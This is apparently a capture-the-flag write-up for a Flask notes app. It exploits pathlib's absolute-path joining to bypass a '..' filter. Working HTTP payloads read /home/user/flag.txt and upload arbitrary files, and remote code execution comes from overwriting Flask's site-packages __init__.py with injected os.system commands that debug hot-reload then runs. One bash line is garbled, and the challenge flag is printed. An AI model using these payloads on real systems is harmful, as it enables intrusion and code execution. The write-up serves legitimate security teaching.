This was an easy challenge that taught some unintuitive behaviour of Python's path libraries to perform a path traversal when .. sequences are blocked. While I had seen the trick before, exploiting it for Remote Code Execution was a fun addition.

The Challenge

This challenge was a simple Python Flask application with a few routes. The main page has buttons to create a new session and lists your notes. You are authenticated by the random session ID:

Python

@app.route("/")
@app.route("/notes/<path:sessid>")
def index(sessid=None):
    notes = []
    if sessid:
        abort_check_session(sessid)
        notes = list_notes(sessid)

    return render_template("index.html", sessid=sessid, notes=notes)

All the logic is done in the APIs:

Python

from pathlib import Path

bp_api = Blueprint("api", __file__, url_prefix="/api")

# Get a new session initially
@bp_api.route("/session")
def new_session():
    import uuid
    sessid = str(uuid.uuid4())
    Path(NOTE_DIR, sessid).mkdir()

    return json.jsonify(sessid)

...

# Download a specific note
@bp_api.route("/notes/<path:sessid>/<path:noteid>")
def get_note(sessid, noteid):
    session_dir = abort_check_session(sessid)

    response = Response()
    try:
        with open(session_dir.joinpath(noteid), "r") as f:
            content = f.read()
        response.headers["Content-Type"] = "text/plain"
    except UnicodeDecodeError:
        with open(session_dir.joinpath(noteid), "rb") as f:
            content = f.read()
        response.headers["Content-Type"] = "application/octet-stream"

    response.set_data(content)
    return response

When downloading a note you created on the /notes/<path:sessid>/<path:noteid> endpoint, the session directory and your note ID as input are joined to form a final path that is read and sent as a response. Sounds like a simple Path Traversal vulnerability where we can use ../ sequences to traverse up the file tree to any other file.

Path Traversal file read

To input a payload like ../../../etc/passwd which would combine with the directory before it, we need to pass that value in the path. Luckily the last path in Flask seems to be able to contain such a sequence and we can simply download the flag file at this location with a valid session ID and our directory traversal as the note ID:

 

GET /api/notes/5ad24a63-9021-4066-b33a-3d53c61aee1f/../../../home/user/flag.txt HTTP/1.1
Host: localhost:5000

This actually works and gives you the flag. But during the event I had some trouble with this and thought it was impossible to include slashes in a path variable! My solution was more complicated but also more powerful, resulting in Remote Code Execution instead of just reading the flag file.

Path Traversal file upload

There is one more API I have not covered yet, the creation of new notes. This is handled by the following function:

Python

# List your notes in JSON format, or add a new one by sending a POST
@bp_api.route("/notes/<path:sessid>", methods=["GET", "POST"])
def list_notes(sessid):
    session_dir = abort_check_session(sessid)

    if request.method == "POST":
        for uploaded_file in request.files:
            abort_check_path(uploaded_file)

            upload_path = session_dir.joinpath(uploaded_file)
            try:
                request.files[uploaded_file].save(upload_path)
            except OSError:
                abort(500)

    files_list = [str(p.name) for p in session_dir.glob("*")]
    return json.jsonify(files_list)

It calls some utility functions in shared.py:

Python

from pathlib import Path

NOTE_DIR = Path("/app/notes")


def check_path(path: str):
    return ".." not in path


def abort_check_path(path: str):
    if not check_path(path):
        abort(418)
...

When sending a POST request each file we upload is checked with the abort_check_path() function that exits if the path contains the ".." string. Therefore we cannot use the same Path Traversal trick as before to write to any directory. We still have some control over the file path though which is joined to the /app/notes directory. Are there more ways to mess with this path other than using ..?

Turns out, yes! At least one way which involves a little-known feature of Python's path libraries like pathlib.Path which is used here. When joining paths together, if the other path starts with a slash it is seen as an absolute path that overwrites the previous path. See the following example:

Python

>>> from pathlib import Path
>>> NOTE_DIR = Path("/app/notes")
>>>
>>> NOTE_DIR.joinpath("regular_path")
PosixPath('/app/notes/regular_path')  # Normally it is added after
>>> NOTE_DIR.joinpath("/etc/passwd")
PosixPath('/etc/passwd')  # Here it replaces the previous path!

Tip: This same quick happens for os.path as well, so try it whenever you are dealing with a path traversal filter!

This can be abused here because simple slashes are allowed, we aren't using any .. sequence here. We just provide the full path to the file we want to create or overwrite and we also have full control over the content because we are uploading the file. We can confirm this in our docker instance by creating a file like /tmp/pwned with some arbitrary content:

HTTP

POST /api/notes/5ad24a63-9021-4066-b33a-3d53c61aee1f HTTP/1.1
Host: localhost:5000
Content-Length: 203
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzBrBulHxO9Pd0B41
Connection: close

------WebKitFormBoundaryzBrBulHxO9Pd0B41
Content-Disposition: form-data; name="/tmp/pwned"; filename="anything"
Content-Type: text/plain

Hello, world!

------WebKitFormBoundaryzBrBulHxO9Pd0B41--

After this, we can read the file now that it has been created on an arbitrary path:

Shell

$ docker exec -it determined_yalow bash
user@b9c97a3de3a4:/app$ cat /tmp/pwned
Hello, world!

By being able to overwrite files, a lot is possible on a Linux system. User scripts like ~/.bashrc could be overwritten, SSH keys could be inserted, and much more. But this case is a bit limited because no regular user will ever log in on the challenge, and SSH is not open or accessible. We need to get a bit more creative.

Remote Code Execution

There is one thing that helps us with this challenge, the fact that Flask is started with debug=True which will enable some features useful while developing, like an interactive console or hot-reloading of changed files. That means when a Python file that is currently loaded is changed, it will be detected and reloaded without having to restart the server. If we can overwrite any .py file that is currently loaded we can easily abuse this by writing our malicious Python code.

But there is one problem, when looking at the Dockerfile of this challenge we notice that the whole /app/src directory is chown'ed to root meaning that we cannot write to it as our low-privilege user.

Dockerfile

FROM python:3.12-bookworm

# docker build -t frenzy_flask . && docker run --rm -it -p 5000:5000 frenzy_flask

RUN mkdir /app
RUN useradd --create-home user && chown user:user /app

WORKDIR /app
USER user

COPY ./flag.txt /home/user/flag.txt

COPY requirements.txt /app
RUN pip install --user --no-cache-dir -r requirements.txt

RUN mkdir /app/notes

USER root
COPY ./src/ /app/src
RUN chown -R root:root /app/src
USER user
ENTRYPOINT ["python3", "/app/src/app.py"]

Interestingly though, it also runs a pip install command with the --user flag which will write the Python library files to a place in the current user's home directory where they are allowed to write. We are running as this same user so we would be able to write here!

That's the plan, now we need to find a file that is currently loaded and overwrite it with malicious code to trigger the RCE. A simple way to find where for example Flask is stored is by using the __file__ property on a module inside the docker container:

Python

>>> import flask
>>> flask.__file__
'/home/user/.local/lib/python3.12/site-packages/flask/__init__.py'

Perfect, like we expected this is inside the /home/user directory, writable by us. So we can specify this path in the upload request and as content, we can run any Python code we want. I chose to simply copy the flag file at /home/user/flag.txt to a readable directory from the web interface:

Python

import os
os.system("mkdir /app/notes/j0r1an/")
os.system("cp /home/user/flag.txt /app/notes/j0r1an/flag.txt")

The whole request then looks like this:

HTTP

POST /api/notes/5ad24a63-9021-4066-b33a-3d53c61aee1f HTTP/1.1
Host: localhost:5000
Content-Length: 356
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzBrBulHxO9Pd0B41
Connection: close

------WebKitFormBoundaryzBrBulHxO9Pd0B41
Content-Disposition: form-data; name="/home/user/.local/lib/python3.12/site-packages/flask/__init__.py"; filename="anything"
Content-Type: text/plain

import os
os.system("mkdir /app/notes/j0r1an/")
os.system("cp /home/user/flag.txt /app/notes/j0r1an/flag.txt")

------WebKitFormBoundaryzBrBulHxO9Pd0B41--

When we try this though, the application crashes and we cannot recover the flag we wrote. This is because the Flask module is fully replaced by our code and it cannot work correctly anymore. We need to inject our code instead of replacing it.

Since we have the docker instance it is easy to extract the file and add some content so that when we replace it the original logic is still there:

bash

docker cp angry_gauss:/home/user/.local/lib/python3.12/site-packages/flask/__init__.py .
echo '
import os
os.system("mkdir /app/notes/j0r1an/")
os.system("> os.system("cp /home/user/flag.txt /app/notes/j0r1an/flag.txt")
' >> __init__.py

With this new content the server no longer crashes when we replace it:

 

...
------WebKitFormBoundaryzBrBulHxO9Pd0B41
Content-Disposition: form-data; name="/home/user/.local/lib/python3.12/site-packages/flask/__init__.py"; filename="anything"
Content-Type: text/plain

from __future__ import annotations

import typing as t
...

import os
os.system("mkdir /app/notes/leak/")
os.system("cp /home/user/flag.txt /app/notes/leak/flag.txt")

------WebKitFormBoundaryzBrBulHxO9Pd0B41--

And now we can read the flag at http://localhost:5000/api/notes/leak/flag.txt

GCC{7h3_p47h_7r4v3r541_7r1ck_3v3n_w0rk5_1n_Ru57-e5e1248d41965126a6caea7b4ddd460cd8c5443a}